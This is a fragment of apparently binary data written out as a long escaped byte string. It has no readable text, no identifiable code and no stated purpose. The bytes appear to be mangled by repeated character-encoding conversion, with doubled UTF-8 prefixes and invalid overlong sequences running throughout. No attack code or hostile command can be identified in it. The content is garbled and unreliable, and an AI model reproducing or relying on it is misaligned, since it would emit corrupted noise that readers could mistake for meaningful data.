97\\xc3\\xbb\\xc3\\xb5\\xc2\\xb2\\x1f\\xc2\\x98\\xc3\\x9f\\xc3\\x83|\\xc3\\xae\\xc3\\x98\\xc2\\xbd\\xc2\\xa0o\\xc3\\xa1\\xc3\\xbc\\xc2\\x8b\\x1a\\xc2\\x9e\\xc2\\xa1\\xc2\\x9e.&;y\\xc2\\x9a\\xc2\\xbe\\x0f\\xc3\\xbe\\xc3\\x8f\\xc3\\x85\\x16y=\\x1f\\xc2\\x98\\x7fc\\xc3\\x9b4\\x15\\xc3\\xa6^\\x1b_8\\xc2\\xac;\\\\\\x0bM\\x11;\\xc3\\xae!g\\xc3\\xb5\\x15\\xc2\\x9e\\xc2\\xa1\\xc3\\xb4\\xc2\\xbe\\x0f~\\xc3\\x85f\\xc2\\xbb7c\\x1f\\xc2\\x98\\x7f)DKP(&;)\\xc3\\xbf{\\x0c\\xc3\\x9f\\xc2\\xb2XD}R42s@DKP\\xc3\\xac3no\\xc3\\x94{\\x0c\\xc3\\x9fp\\xc3\\x92n~\\xc2\\x95\\x1dws\\xc3\\xb5m\\x0el\\x13\\xc2\\xa7L\\xc2\\xaf0\\xc3\\xaf.\\'\\xc3\\xa7dT;\\xc2\\x96\\x1dwOZ\\xc3\\x85<\\x16\\x13\\xc2\\xa7LW\\xc2\\x9dG\\x1c\\xc2\\xa9\\xc2\\xbb517\\xc3\\x88L\\x12\\xc2\\x9f\\x1c\\xc2\\x9e\\xc2\\xa1DQ\\xc3\\xbc\\xc3\\x91=z\\xc2\\xb4\\xc2\\xb3M\\x0c\\xc2\\x97\\xc3\\xbb/t\\xc3\\xae\\xc3\\x98g\\x1a\\xc2\\x9e\\xc2\\xa1DZ\\xc3\\xbc\\xc3\\x91=w\\xc2\\xb4\\xc2\\xb3M\\x06\\xc2\\x97\\xc3\\xbb/z\\xc3\\xae\\xc3\\x98g\\x10\\xc2\\x9e\\xc2\\xa1\\xc3\\x84W\\xc3\\xbc\\xc3\\x91\\xc2\\xbd|\\xc2\\xb4\\xc2\\xb3\\xc3\\x8d\\t\\xc2\\x97\\xc3\\xbb\\xc2\\xafq\\xc3\\xae\\xc3\\x98\\xc3\\xa7\\x1d\\xc2\\x9e\\xc2\\xa1\\xc3\\x84\\x1d\\xc2\\xbbD\\x0c\\xc2\\x99\\x7f\\x0c\\x1f\\xc2\\x97E\\x11\\xc2\\xbb\\xc3\\xa3k\\xc3\\x8cf\\r\\xc3\\x91\\x1dw\\x13%Q\\xc3\\x8bp\\xc3\\x81\\t\\xc2\\xb4t\\xc3\\x9d9,Ke\\xc2\\x98U\\xc3\\x95\\xc3\\x9cOj\\xc2\\x9d\\xc3\\xaa\\xc2\\x90\\x1e=c\\x0c\\x1a`O\\xc3\\x89\\xc2\\x95\\xc3\\xbb\\xc3\\xb7\\\\\\xc2\\x994VI\\x1a\\xc2\\x939\\xc2\\xa4nN\\xc3\\x8b\\xc2\\xad\\xc2\\x9b\\xc3\\xbe\\xc2\\x8cXQ\\x15\\xc3\\xab\\x1c\\xc2\\xbdf\\xc2\\xb6\\t=\\xc3\\xa3\\x0f\\xc2\\x9ab\\xc3\\x8fh\\\\\\xc3\\x8a\\xc3\\xb7\\xc3\\x9c\\xc2\\x99\\x03U\\xc2\\xa8/\\xc2\\xba&\\xc2\\xac\\xc3\\xa1\\xc2\\x87\\x1d\\xc3\\xad#\\xc2\\xb3\\xc2\\xba_\\xc2\\x93sY-\\xc2\\xad.%\\xc3\\x86\\xc2\\xbfB\\xc2\\xa4\\x1fs\\xc2\\xa3}\\xc3\\x83{\\xc2\\x97\\x1b\\xc2\\xac-UH.\\xc3\\x8a\\'l2\\x03\\r\\xc3\\xad\\xc2\\x9b\\xc2\\xb3\\xc2\\xbcY\\xc2\\xb1ri\\x13\\xc2\\xbd:\\xc2\\xb6V=#\\x08J]\\xc3\\x9fQ\\xc3\\x9cdv\\xc2\\x80L\"C\\xc2\\x87\\x04\\xc2\\xac%U\\x08/\\xc3\\x929\\xc2\\xa4P\\xc3\\x8eu,+f\\xc2\\xb0K]\\xc3\\x82\\xc3\\x8fs\\xc2\\x9d\\x14\\xc2\\xb6F=a\\xc3\\xa97\\xc3\\xb2\\xc2\\xb6L\\xc2\\xa2GQq\\x01\\x03\\x18}\\xc3\\x8e%ls\\xc2\\x82?cl\\xc3\\x8c;\\xc3\\xbb\\xc3\\x8a$\\xc3\\x87\\xc3\\xaeG\\xc3\\xbf\\x1d\\xc3\\xbd\\xc2\\xb3\\xc2\\xa8V\\xc2\\xbe\\x12+\\x1e\\x11\\x17\\xc2\\xa5S^\\xc2\\xaf\\x0c\\xc3\\x8a[sK\\xc3\\x8f}\\xc2\\xb5\\xc3\\x9b\\x16Q\\xc3\\x91Gf\\xc3\\x94\\xc2\\x8a^\\xc3\\xa4 \\xc2\\xac\\x195\\xc2\\x9d~ap\\xc3\\x8c\\xc2\\x8b\\xc2\\xb6v\\xc2\\xa8\\xc2\\x9d1\\x03\\x1e\\xc2\\xb5V\\xc3\\xbf\\xc2\\x94\\xc3\\x99\\xc3\\xa4\\x1a+\\x12\\x11\\xc2\\xaf\\xc3\\xac1\\xc2\\xa7_\\xc2\\xa43}\\xc2\\xac\\xc3\\x9eU\\xc3\\x82G:L\\xc3\\xa2B\\xc3\\x91\\xc2\\xa1\\xc2\\x99\\xc2\\x98\\xc2\\x96csaj\\xc3\\x8c\\xc3\\xab\\xc3\\xbb.\\xc3\\x92\\xc3\\xab\\xc3\\xa9\\xc3\\x91oU\\xc3\\xbb\\xc2\\x9d\\xc2\\xb5\\xc2\\x9f\\xc3\\x95+\\xc3\\x98H0?h\\xc2\\x96\\xc2\\xbeW\\xc3\\xac\\t\\xc2\\xac\\xc3\\xad\\x0f\\xc2\\x8a\\xc2\\xbacu\\xc3\\x90\\xc2\\x9b\\xc3\\x90\\xc2\\xa7\\xc3\\xab\\xc3\\xbc\\xc0\\x80\\xc2\\xba\\xc2\\x99\\xc3\\x91\\xc2\\xb33t\\xc3\\x8f:\\xc3\\x8a\\xc3\\x8d\\xc2\\xba\\xc2\\x99\\xc3\\x91\\xc2\\xb3\\x03=a[\\xc2\\xa7L\\xc2\\x9bDL:\\xc3\\xa3\\xc2\\x88\\xc2\\x8c\\xc3\\x92\\xc2\\xaa\\xc3\\x8c\\xc3\\x88N(\\xc2\\x92\\xc2\\xb7\\xc3\\xba\\xc3\\xbdx\\xc3\\xb8\\xc2\\x86\\xc2\\xb5\\xc2\\xae\\xc3\\xad\\xc2\\x88\\xc3\\x9c\\xc2\\xb8\\xc2\\x9e%%\\xc2\\xa3 :\\x03:\\xc2\\x97B\\xc3\\xa9\\x14\\xc0\\x806\\xc2\\x9b\\xc3\\xaa\\xc2\\x91\\xc3\\x9e\\xc3\\x8a\\x1d\\xc2\\xa0\\xc3\\xba\\xc2\\xae\\xc2\\x8b\\xc2\\xbf\\xc2\\x96\\xc3\\x86\\xc2\\x8f\\xc3\\x98\\xc2\\xa5\\xc2\\x8b\\xc3\\x96[U\\xc3\\x95\\x03|\\xc3\\xa1M\\xc3\\xaefau\\xc3\\xb0LX\\xc2\\xa33\\xc2\\xafC>\\x08\\xc2\\x98\\xc2\\xa6\\xc3\\xb2\\xc3\\xac\\xc3\\x9e\\xc2\\x98\\xc3\\xbf\\xc2\\x99\\xc2\\x86\\xc3\\x9d\\xc2\\xb4;l\\xc2\\x89\\xc3\\xa8\\xc3\\x8b\\x15\\xc2\\xaa\\xc2\\xa0ie\\xc3\\x93\\xc2\\x83\\xc2\\xa1\\x07\\xc2\\xa3\\xc3\\xbabO\\xc3\\x81\\xc2\\x8a\\xc2\\x9bl\\xc2\\x89\\xc3\\xa8+\\x15\\xc2\\xaa\\xc2\\xa0\\xc3\\x89e\\xc3\\x93\\xc2\\x83y\\x07\\xc2\\xa3\\xc3\\xba\\xc3\\x9aO\\xc3\\x81\\xc2\\x8acl\\xc2\\x89\\xc3\\xa8\\xc2\\x93\\x15\\xc2\\xaa\\xc2\\xa0\\x11e\\xc3\\x93\\xc2\\x83\\xc3\\x99\\x07\\xc2\\xa3\\xc3\\xba:O\\xc3\\x81\\xc2\\x8a\\xc3\\x83l\\xc2\\x89\\xc3\\xa8C\\x15\\xc2\\xaa\\xc2\\xa0\\xc2\\xa1e\\xc3\\x93\\xc2\\x83)\\x07\\xc2\\xa3\\xc3\\xba\\xc2\\x8aO\\xc3\\x81\\xc2\\x8a\\x13l\\xc2\\x89\\xc3\\xa8\\xc3\\xa3\\x15\\xc2\\xaa\\xc2\\xa0Ae\\xc3\\x93\\xc2\\x83\\xc2\\x89\\x07\\xc2\\xa3\\xc3\\xbaUO\\xc3\\x81\\xc2\\x8a\\xc2\\xacl\\xc2\\x89\\xc3\\xa8\\x1c\\x15\\xc2\\xaa\\xc2\\xa0\\xc3\\xbee\\xc3\\x93\\xc2\\x83V\\x07\\xc2\\xa3\\xc3\\xba\\xc3\\xb5O\\xc3\\x81\\xc2\\x8aLl\\xc2\\x89\\xc3\\xa8\\xc2\\xbc\\x15\\xc2\\xaa\\xc2\\xa0.e\\xc3\\x93\\xc2\\x83\\xc3\\xa6\\x07\\xc2\\xa3\\xc3\\xba\\x05O\\xc3\\x81\\xc2\\x8a\\xc3\\xbcl\\xc2\\x89\\xc3\\xa8e1\\xc2\\xab\\xc2\\x9c\\'A\\xc3\\x92\\xc2\\xbf/#\\xc2\\xa2\\xc3\\x86lk\\xc3\\x806\\x11\\xc3\\x9a\\xc2\\x88Ja\\xc2\\xa3\\xc2\\xab\\x02=\\xc3\\x93\\xc3\\x92!U\\xc2\\xb1\\xc2\\xa2XF\\xc3\\xb9\\xc3\\x80(\\x1f\\xc3\\x9a\\xc2\\x88JW\\xc2\\xa3\\xc2\\xab\\x02\\x15\\xc3\\x93\\xc3\\x92!m\\xc2\\xb1\\xc2\\xa2Xn\\xc3\\xb9\\xc3\\x80(+\\xc3\\x9a\\xc2\\x88J{\\xc2\\xa3\\xc2\\xabB>\\xc2\\x9a\\xc3\\x92n|\\xc3\\xb8\\xc2\\xa2\\x17O\\xc2\\xb0\\xc3\\x80g*\\xc2\\x93\\xc2\\x88\\x05J\\xc3\\xaa\\xc2\\xabM0\\xc2\\x9a\\xc3\\x92nh\\xc3\\xb8\\xc2\\xa2\\xc2\\x97T\\xc2\\xb0\\xc3\\x80\\xc3\\xa7=\\xc2\\x93\\xc2\\x88\\xc2\\x85U\\xc3\\xaa\\xc2\\xab\\xc3\\x8d\\'\\xc2\\x9a\\xc3\\x92\\xc3\\x8e\\xc3\\xbf\\xc3\\x9c\"p\\xc3\\x96\\xc2\\x94@\\xc0\\x80\\xc2\\xa7\\xc2\\xb7\\x08b\\xc3\\x9b\\xc3\\x8e+*\\xc2\\xb1\\xc2\\xbeR\\t\\xc3\\xb6\\xc3\\x9c\"p\\xc3\\x9d\\xc2\\x94@\\xc0\\x80\\xc2\\xa8\\xc2\\xb7\\x08b\\xc3\\x90\\xc3\\x8e+*\\xc2\\xbc\\xc2\\xbeR\\t\\xc3\\xbc\\xc3\\x9c\"p\\xc3\\x93\\xc2\\x94@\\xc0\\x80\\xc2\\xa2\\xc2\\xb7\\x08\\xc3\\xa2\\xc3\\x9d\\xc3\\x8e+\\xc2\\xaa\\xc2\\xb7\\xc2\\xbeR\\xc2\\x89\\xc3\\xb3\\xc3\\x9c\"\\xc3\\xb0\\xc3\\x98\\xc2\\x94@\\xc2\\x80\\xc2\\xaf\\xc2\\xb7\\x08\\xc3\\xa2\\xc3\\x97\\xc3\\x8e+\\xc2\\xaa\\xc2\\xb9\\xc2\\xbeR\\xc2\\x89\\xc3\\xb9\\xc3\\x9c\"\\xc3\\xb0\\xc3\\x95\\xc2\\x94@\\xc2\\x80\\xc2\\xa4\\xc2\\xb7\\x08\\xc3\\xa2\\xc3\\x98\\xc3\\x8e+\\xc2\\xaa\\xc2\\xb2\\xc2\\xbeR\\xc2\\x89\\xc3\\xb4\\xc3\\x9c\"\\xc3\\xb0\\xc3\\x9f\\xc2\\x94@\\xc2\\x80\\xc2\\xaa\\xc2\\xb7\\x08\\xc3\\xa2\\xc3\\x92\\xc3\\x8e+J\\xc2\\xbf\\xc2\\xbeRi\\xc3\\xbf\\xc3\\x9c\"\\x10\\xc3\\x90\\xc2\\x94@`\\xc2\\xa1\\xc2\\xb7\\x08\\x02\\xc3\\x9f\\xc3\\x8e+J\\xc2\\xb5\\xc2\\xbeRi\\xc3\\xb1\\xc3\\x9c\"\\x10\\xc3\\x9a\\xc2\\x94@`\\xc2\\xac\\xc2\\xb7\\x08\\x02\\xc3\\x94\\xc3\\x8e+J\\xc2\\xba\\xc2\\xbeRi\\xc3\\xba\\xc3\\x9c\"\\x10\\xc3\\x97\\xc2\\x94@`\\xc2\\xa6\\xc2\\xb7\\x08\\x02\\xc3\\x9a\\xc3\\x8e+J\\xc2\\xb0\\xc2\\xbeR\\xc3\\xa9\\xc3\\xb7\\xc3\\x9c\"\\xc2\\x90\\xc3\\x9c\\xc2\\x94@\\xc3\\xa0\\xc2\\xa9\\xc2\\xb7\\x08\\xc2\\x82\\xc3\\x91\\xc3\\x8e+\\xc3\\x8a\\xc2\\xbd\\xc2\\xbeR\\xc3\\xa9\\xc3\\xbd\\xc3\\x9c\"\\xc2\\x90\\xc3\\x92\\xc2\\x94@\\xc3\\xa0\\xc2\\xa3\\xc2\\xb7\\x08\\xc2\\x82\\xc3\\x9c\\xc3\\x8e+\\xc3\\x8a\\xc2\\xb6\\xc2\\xbeR\\xc3\\xa9\\xc3\\xb2\\xc3\\x9c\"\\xc2\\x90\\xc3\\x99\\xc2\\x94@\\xc3\\xa0\\xc2\\xae\\xc2\\xb7\\x08\\xc2\\x82\\xc3\\x96\\xc3\\x8e+\\xc3\\x8a\\xc2\\xb8\\xc2\\xbeR\\xc3\\xa9\\xc3\\xb8\\xc3\\x9c\"P\\xc3\\x94\\xc2\\x94@ \\xc2\\xa5\\xc2\\xb7\\x08B\\xc3\\x99\\xc3\\x8e+\\n\\xc2\\xb3\\xc2\\xbeR\\x19\\xc2\\xb5\\xc3\\x8e\\x02nl\\xc2\\x89\\xc2\\x94-\\xc3\\x91\\xc3\\x83\\x07\\xc3\\x83\\xc2\\x8a-\\xc2\\x93\\x08&\\xc2\\x9aRa\\xc3\\xb9\\xc3\\x80\\xc3\\x87\\'\\xc2\\x93\\x082\\xc2\\x9e\\xc3\\x9c\\x0b\\xc2\\xb4N\\xc2\\xa1\\xc3\\xba\\xc2\\x80O\\xc3\\x8167H\\xc2\\x88\\np\\xc2\\xa3\\xc2\\xab\\xc3\\xad1\\xc2\\x9aR\\x19\\xc3\\xb8\\xc3\\x9c\\xc3\\xa2K\\xc2\\x94\\xc2\\x86`n\\xc3\\x8f\\xc2\\xac\\xc3\\x98.e\\xc3\\x93?S\\xc2\\xb1\\xc2\\xa2\\xc2\\xb7]\\xc2\\xb0@\\xc3\\x9c\\xc3\\x8e\\xc3\\xab\\x11\\xc3\\xb9\\xc2\\xacr\\xc3\\xa7\\xc2\\x97\\xc3\\x87\\xc3\\xb2\\xc3\\xa2\\xc2\\xb4\\xc2\\x8f\\xc2\\x90\\xc2\\x92\\xc3\\x8f\\xc2\\xac\\xc3\\x98\\xc3\\xb0\\xc2\\xbc\\xc3\\x95\\xc3\\xbb\\xc2\\xb8\\xc3\\x9c\\xc2\\xa5\\xc2\\x82\\r\\x06\\xc3\\x83\\xc2\\x8a\\x05H\\xc2\\x88\\nF\\xc2\\xa3\\xc2\\xab\\xc3\\xad\"\\xc2\\x9aR\\xc2\\x99\\xc3\\xb6\\xc3\\x9c\\xc3\\xa2\\xc3\\x8b\\xc2\\x90\\xc2\\x86`.\\xc3\\x8c\\xc2\\xac\\xc3\\x98\\xc2\\x86,\\xc3\\x91\\xc2\\x83K\\x07\\xc2\\xa3F\\nk\\xc3\\x80h2\\xc3\\x9a\\xc2\\x88\\xc2\\xa5B\\xc3\\xaa+Z\\xc2\\xbf\\xc2\\xbe\\xc2\\x92B\\xc2\\xb3\\xc3\\x8e\\x02&\\xc2\\xb5\\xc2\\x8f\\xc2\\x90\\xc3\\x98\\\\\\xc2\\xa8\\xc2\\xa0\\x1de\\xc3\\x93?&#\\xc2\\xa2\\xc2\\x98L\\xc3\\xb9\\xc3\\x80\\x071\\xc2\\x93\\x08B\\\\\\xc3\\xaa+\\n.\\xc2\\x9aR)~\\xc3\\xb8\"\\xc0\\x80\\xc3\\x95\\xc2\\x94\\xc2\\x80\\xc3\\xa3\\xc2\\xa1\\xc2\\xb7\\xc3\\x88\\xc2\\x81\\xc3\\x9f\\xc3\\x8e\\xc3\\xab\\xc3\\xa1\\xc3\\xbb\\xc2\\xacr\\x0b\\xc2\\xb2\\xc3\\x8e\\x02r\\xc2\\x97\\xc2\\x86`\\x02\\xc3\\xaa\\xc2\\xa5(\\xc3\\xa0\\xc2\\x9d\\xc3\\x9c\\x0b\\xc2\\xa8\\xc3\\xbb\\xc2\\xacr\\xc2\\x8b\\xc2\\xb5\\xc3\\x8e\\x02\\xc3\\xb2\\xc2\\x92\\xc2\\x86`\\x16\\xc3\\x8c\\xc2\\xac\\xc3\\x98\\xc3\\x90\\xc2\\xbd\\xc3\\x95\\xc3\\xbb\\xc2\\x98\\xc3\\x9d\\xc2\\xa5\\xc2\\x82\\xc2\\xbb\\xc2\\x96\\xc3\\x87\\xc3\\xb2\\xc3\\x82\\xc2\\xb7\\xc2\\x8f\\xc2\\x90B\\xc3\\x8d\\xc2\\xac\\xc3\\x98 \\xc2\\xbf\\xc3\\x95\\xc3\\xbbh\\xc3\\x9e\\xc2\\xa5\\xc2\\x82K\\xc2\\x94\\xc3\\x87\\xc3\\xb2\\xc2\\xb2\\xc2\\xb4\\xc2\\x8f\\xc2\\x90\\xc3\\x82\\xc3\\x8f\\xc2\\xac\\xc3\\x98\\xc2\\xa0\\xc2\\xbc\\xc3\\x95\\xc3\\xbb\\xc3\\xa8\\xc3\\x9c\\xc2\\xa5\\xc2\\x82\\x0b\\xc2\\x97\\xc3\\x87\\xc3\\xb2\\xc2\\x88%\\xc2\\x8b\\xc3\\xa8r\\\\\\xc2\\xa8\\xc2\\xa0\\re\\xc3\\x93?.#\\xc2\\xa2\\xc3\\x98\\x7fk\\xc3\\x80\\xc3\\xa81\\xc3\\x9a\\xc2\\x88\\xc3\\x85h\\xc2\\xa3\\xc2\\xab\\xc2\\x8d2@\\xc3\\x92\\xc2\\xa1,\\x05\\xc2\\xa3\\xc3\\x86#\\x03\\xc3\\x83\\xc2\\x8a\\xc3\\x82\\xc2\\xbd\\xc2\\x8f\\xc2\\x90\\xc2\\xb8\\xc3\\x84\\xc2\\xac\\xc3\\x98\\xc0\\x80\\xc2\\x8d\\xc3\\x9c\\x0b\\x08\\xc2\\x9b\\xc2\\xbe\\xc2\\x92\\xc2\\xaa3\\xc3\\xb8\"\\xc2\\x80\\x14\\xc2\\xb0@\\xc3\\x90\\xc2\\x8b\\xc2\\xb7\\xc3\\x88i\\xc3\\xb9\\xc3\\x8e\\xc3\\xab\\xc2\\xb1\\xc3\\xaf\\xc2\\xacr\\x7f\\xc2\\xa6\\xc3\\x8e\\x02R\\xc3\\xb2\\xc2\\x94\\xc2\\x80\\xc2\\x9b\\xc3\\xbf\\xc2\\xa5(@\\xc3\\xbc\\xc3\\x8e\\xc3\\xab\\xc2\\x89u\\xc2\\x9aR\\xc2\\xa9\\xc3\\xba\\xc2\\xb1\\xc2\\xa2\\xc3\\x97oj\\xc3\\x80\\xc2\\xa8\"n\\xc2\\x89\\xc3\\x94\\xc3\\x82Y\\xc2\\xa8\\xc2\\xa0\\xc2\\x80\\xc2\\xb5\\xc3\\x95\\xc3\\xbb\\xc3\\xa2\\xc3\\x96\\xc2\\xa5\\xc2\\x82\\x01\\xc2\\x9f\\xc3\\x87\\xc3\\xb2R\\xc2\\x87\\xc2\\x86`\\xc2\\xa2\\xc2\\x8c\\xc2\\xb7\\xc3\\x88\\xc3\\x81\\x16\\xc3\\xaa+\\xc3\\x9au\\xc2\\x9aR\\xc3\\xb91\\xc3\\xb8\"\\xc2\\x80\\x1a\\xc2\\xb0@\\xc3\\xb0l\\xc2\\x93\\x08\\xc2\\x92\\x14\\xc3\\xaa+\\xc3\\x9az\\xc2\\x9aR\\xc3\\xb9:\\xc3\\xb8\"\\xc2\\x80\\x17\\xc2\\xb0@\\xc3\\xb0f\\xc2\\x93\\x08\\xc2\\x92\\x1a\\xc3\\xaa+\\xc3\\x9ap\\xc2\\x9aR97\\xc3\\xb8\"@\\x1c\\xc2\\xb0@0i\\xc2\\x93\\x08R\\x11\\xc3\\xaa+\\x1a}\\xc2\\x9aR9=\\xc3\\xb8\"@\\x12\\xc2\\xb0@0c\\xc2\\x93\\x08R\\x1c\\xc3\\xaa+\\x1av\\xc2\\x9aR92\\xc3\\xb8\"@\\x19\\xc2\\xb0@0n\\xc2\\x93\\x08R\\x16\\xc3\\xaa+\\x1ax\\xc2\\x9aR98\\xc3\\xb8\"\\xc3\\x80\\x14\\xc2\\xb0@\\xc2\\xb0e\\xc2\\x93\\x08\\xc3\\x92\\x19\\xc3\\xaa+\\xc2\\x9as\\xc2\\x9aR\\xc2\\xb95\\xc3\\xb8\"\\xc3\\x80\\x1e\\xc2\\xb0@\\xc2\\xb0k\\xc2\\x93\\x08\\xc3\\x92\\x13\\xc3\\xaa+\\xc2\\x9a~\\xc2\\x9aR\\xc2\\xb9>\\xc3\\xb8\"\\xc3\\x80\\x11\\xc2\\xb0@\\xc2\\xb0`\\xc2\\x93\\x08\\xc3\\x92\\x1e\\xc3\\xaa+\\xc2\\x9at\\xc2\\x9aR\\xc2\\xb90\\xc3\\xb8\"\\xc3\\x80\\x1b\\xc2\\xb0@@m\\xc2\\x93\\x08\"\\x15\\xc3\\xaa+j{\\xc2\\x9aRI;\\xc3\\xb8\"0\\x16\\xc2\\xb0@@g\\xc2\\x93\\x08\"\\x1b\\xc3\\xaa+jq\\xc2\\x9aRI6\\xc3\\xb8\"0\\x1d\\xc2\\xb0@@h\\xc2\\x93\\x08\"\\x10\\xc3\\xaa+\\xc3\\xba\\xc2\\x9c\\xc2\\xbe\\xc2\\x92\\xc3\\x9a\\xc3\\x96\\xc3\\x9c\\xc3\\xa2\\xc2\\xa3\\xc3\\xb1\\xc2\\x94\\xc2\\x80\\xc3\\x93\\xc2\\x8e\\xc2\\xb7\\xc3\\x88\\xc3\\xb9\\xc2\\x8e\\xc3\\x9c\\x0b\\xc2\\xb0\\xc3\\xac\\xc2\\xacrs\\xc2\\xa7\\xc3\\x8e\\x02\\n\\xc2\\x86\\xc2\\x86`z\\xc3\\xbc\\xc2\\xa5(\\x18\\xc2\\x8e\\xc3\\x9c\\x0b\\xc3\\x90\\xc3\\xaf\\xc2\\xacr\\xc3\\xb3\\xc2\\xa5\\xc3\\x8e\\x02\\xc2\\x8a\\xc2\\x85\\xc2\\x86`\\xc3\\xba\\xc3\\xbe\\xc2\\xa5(X\\xc2\\x8d\\xc3\\x9c\\x0b\\x10\\xc3\\xad\\xc2\\xacrG\\xc2\\x9f\\xc3\\x87\\xc3\\xb2\\xc2\\x9e\\xc2\\xbc\\xc2\\x8f\\xc2\\x90\\xc3\\xae\\xc3\\x84\\xc2\\xac\\xc3\\x98L\\xc2\\xb5\\xc3\\x95\\xc3\\xbb\\x04\\xc3\\x96\\xc2\\xa5\\xc2\\x82\\xc2\\xa7\\xc2\\x9f\\xc3\\x87\\xc3\\xb2\\xc3\\x9e\\xc2\\xbd\\xc2\\x8f\\xc2\\x90V\\xc3\\x85\\xc2\\xac\\xc3\\x984\\xc2\\xb4\\xc3\\x95\\xc3\\xbb\\xc3\\xbc\\xc3\\x97\\xc2\\xa5\\xc2\\x82\\xc3\\x9f\\xc2\\x9e\\xc3\\x87\\xc3\\xb2\\xc2\\xa4 \\xc2\\x8b\\xc3\\xa8xY\\xc2\\xa8\\xc2\\xa0\\xc2\\x9a)\\xc3\\x91\\xc2\\x83\\x12K\\xc2\\xa1\\xc3\\xba\\xc2\\xb1\\x03\\xc3\\x83\\xc2\\x8a8 \\xc2\\x8b\\xc3\\xa8\\xc3\\x88Y\\xc2\\xa8\\xc2\\xa0j)\\xc3\\x91\\xc2\\x83\\xc2\\xa2K\\xc2\\xa1\\xc3\\xbaa\\x03\\xc3\\x83\\xc2\\x8a\\xc2\\x98 \\xc2\\x8b\\xc3\\xa8(Y\\xc2\\xa8\\xc2\\xa0\\xc3\\x8a)\\xc3\\x91\\xc2\\x83zK\\xc2\\xa1\\xc3\\xba\\xc3\\x99\\x03\\xc3\\x83\\xc2\\x8a` \\xc2\\x8b\\xc3\\xa8\\xc2\\x90Y\\xc2\\xa8\\xc2\\xa0\\x12)\\xc3\\x91\\xc2\\x83\\xc3\\x9aK\\xc2\\xa1\\xc3\\xba9\\x03\\xc3\\x83\\xc2\\x8a\\xc3\\x80 \\xc2\\x8b\\xc3\\xa8@Y\\xc2\\xa8\\xc2\\xa0\\xc2\\xa2)\\xc3\\x91\\xc2\\x83*K\\xc2\\xa1\\xc3\\xba\\xc2\\x89\\x03\\xc3\\x83\\xc2\\x8a\\x10 \\xc2\\x8b\\xc3\\xa8\\xc3\\xa0Y\\xc2\\xa8\\xc2\\xa0B)\\xc3\\x91\\xc2\\x83\\xc2\\x8aK\\xc2\\xa1\\xc3\\xbaW\\x03\\xc3\\x83\\xc2\\x8a\\xc2\\xae \\xc2\\x8b\\xc3\\xa8\\x1eY\\xc2\\xa8\\xc2\\xa0\\xc3\\xbc)\\xc3\\x91\\xc2\\x83TK\\xc2\\xa1\\xc3\\xba\\xc3\\xb7\\x03\\xc3\\x83\\xc2\\x8aN \\xc2\\x8b\\xc3\\xa8\\xc2\\xbeY\\xc2\\xa8\\xc2\\xa0,)\\xc3\\x91\\xc2\\x83\\xc3\\xa4K\\xc2\\xa1\\xc3\\xba\\x07\\x03\\xc3\\x83\\xc2\\x8a\\xc3\\xbe \\xc2\\x8b\\xc3\\xa8nY\\xc2\\xa8\\xc2\\xa0\\xc2\\x8c)\\xc3\\x91\\xc2\\x83\\x04K\\xc2\\xa1\\xc3\\xba\\xc2\\xa7\\x03\\xc3\\x83\\xc2\\x8a& \\xc2\\x8b\\xc3\\xa8\\xc3\\x96Y\\xc2\\xa8\\xc2\\xa0t)\\xc3\\x91\\xc2\\x83\\xc2\\xbcK\\xc2\\xa1\\xc3\\xba\\x7f\\x03\\xc3\\x83\\xc2\\x8a\\xc2\\x86 \\xc2\\x8b\\xc3\\xa86Y\\xc2\\xa8\\xc2\\xa0\\xc3\\x94)\\xc3\\x91\\xc2\\x83lK\\xc2\\xa1\\xc3\\xba\\xc3\\x8f\\x03\\xc3\\x83\\xc2\\x8av \\xc2\\x8b\\xc3\\xa8\\xc2\\x86Y\\xc2\\xa8\\xc2\\xa0\\x04)\\xc3\\x91\\xc2\\x83\\xc3\\x8cK\\xc2\\xa1\\xc3\\xba/\\x03\\xc3\\x83\\xc2\\x8a\\xc3\\x96 \\xc2\\x8b\\xc3\\xa8ZY\\xc2\\xa8\\xc2\\xa0\\xc2\\xb8)\\xc3\\x91\\xc2\\x830K\\xc2\\xa1\\xc3\\xba\\xc2\\x93\\x03\\xc3\\x83\\xc2\\x8a\\tn\\xc2\\x890\\xc3\\x9b\\xc3\\x85\\xc2\\xacH\\x17g\\xc3\\x93[3\\xc3\\xb8\\xc2\\xa2\\xc3\\xac\\xc3\\x94\\xc3\\xb9\\xc3\\x80^\\xc3\\xbe\\xc2\\xa5\\x08\\xc3\\xaf)\\xc3\\x91K;z\\xc2\\x9a\\xc3\\x92\\xc2\\x95G\\x05\\xc2\\xa3\"\\xc3\\x92\\xc2\\xa4\\xc3\\x8e\"\\x1daj\\xc3\\x80Z\\xc3\\xbe\\xc2\\x84\\xc2\\x86@m\\xc0\\x80I\\xc2\\x888\\xc2\\x8e\\xc3\\xbc\\xc2\\xa5\\x08\\x0f`0\\xc2\\xabp\\x0c\\xc2\\x8d\\xc3\\x9c+G\\x1c@\\xc3\\x92ST\\xc3\\x97\\xc2\\xa5\\x12L>\\xc3\\xb8\\xc2\\xa2\\xc3\\xac\\x18\\x03\\xc3\\x83Bm\\xc2\\x93\\xc2\\x88\\xc3\\xbe\\xc2\\x91Y\\xc2\\xa8h\\xc3\\xb3\\x1fr\\xc3\\xad\\xc2\\xab;p\\x10\\xc2\\xb1\\xc2\\xb5\\xc2\\xab\\xc2\\x81\\xc2\\xb6g\\x12\\xc3\\xac \\xc2\\xac}p`;p\\xc2\\xb0\\xc3\\xab^r\\xc2\\x81d\\x06KB\\x10`\\x05\\xc3\\x8b\\xc2\\x85\\xc2\\xaer\\xc3\\x8a\\x04\\x05\\\\\\xc2\\x98\\xc3\\xa5\\x1c\\x0b\\xc3\\xb3.\\xc2\\x98\\xc3\\x9a\\x12\\xc3\\x92\\xc2\\xab\\xc3\\xad\\xc2\\x88\\xc3\\xbb\\xc2\\x81\\r\\xc0\\x80W\\xc2\\x85\\n\\x0f\\xc2\\x82\\xc2\\x94q\\xc2\\x9f\\xc2\\x96\\xc2\\xb3\\xc2\\x8e\\xc3\\x9e\\xc2\\x88\\xc2\\x92\\xc3\\xb9\\xc3\\x89\\xc3\\xa5\\xc2\\x8c1 \\'hK\\xc2\\x9d&\\xc3\\xbc\\xc2\\x8a\\x11%\\xc2\\x85\\xc3\\x8cx\\x13\\xc2\\xa9 